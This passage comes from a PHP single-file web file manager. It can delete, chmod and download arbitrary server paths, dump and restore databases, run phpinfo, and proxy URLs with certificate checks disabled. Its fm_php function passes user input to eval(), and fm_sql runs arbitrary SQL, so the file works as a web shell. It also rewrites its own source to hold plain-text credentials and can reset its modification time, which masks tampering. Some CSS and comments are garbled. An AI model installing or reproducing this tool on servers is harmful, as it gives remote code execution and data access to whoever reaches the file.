	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk